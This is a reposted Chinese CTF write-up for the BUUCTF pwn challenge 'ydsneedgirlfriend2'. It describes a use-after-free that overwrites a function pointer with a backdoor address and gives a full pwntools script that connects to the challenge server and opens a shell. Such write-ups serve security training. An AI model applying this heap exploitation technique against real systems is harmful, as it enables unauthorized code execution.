[BUUCTF-pwn]——[BJDCTF 2nd]ydsneedgirlfriend2
生活随笔
收集整理的這篇文章主要介紹了
[BUUCTF-pwn]——[BJDCTF 2nd]ydsneedgirlfriend2
小編覺得挺不錯的,現在分享給大家,幫大家做個參考.
[BUUCTF-pwn]——[BJDCTF 2nd]ydsneedgirlfriend2
- 題目地址:https://buuoj.cn/challenges#[BJDCTF%202nd]ydsneedgirlfriend2
checksec看下
在IDA中 look look 看看
思路
首先,利用add申請一塊內存空間,并且將girlfriends[0][1], 指向print_girlfriend_name函數。將空間free之后,重新申請空間,仍是這塊空間(堆的性質),這時將girlfriends[0][1]覆蓋為backdoor函數地址。執行show,也就執行了backdoor函數
exploit
from pwn import * p = remote('node3.buuoj.cn',26631) def add(size,name):p.recvuntil('Please input the length of her name:\n')p.sendline(str(size))p.recvuntil('Please tell me her name:\n')p.sendline(name)def delete(index):p.recvuntil('Index :')p.sendline(str(index)) def show(idx):p.sendlineafter('Index :',str(idx)) backdoor = 0x400d86 p.sendlineafter("u choice :\n","1") add(0x10,'0') p.sendlineafter("u choice :\n","2") delete(0) payload = p64(0) + p64(backdoor) p.sendlineafter("u choice :\n","1") add(0x10,payload) p.sendlineafter("u choice :\n","3") show(0) p.interactive() 與50位技術專家面對面20年技術見證,附贈技術全景圖總結
以上是生活随笔為你收集整理的[BUUCTF-pwn]——[BJDCTF 2nd]ydsneedgirlfriend2的全部內容,希望文章能夠幫你解決所遇到的問題。
- 上一篇: [BUUCTF-pwn]——jarvis
- 下一篇: int类型在计算机中的储存(原码、补码、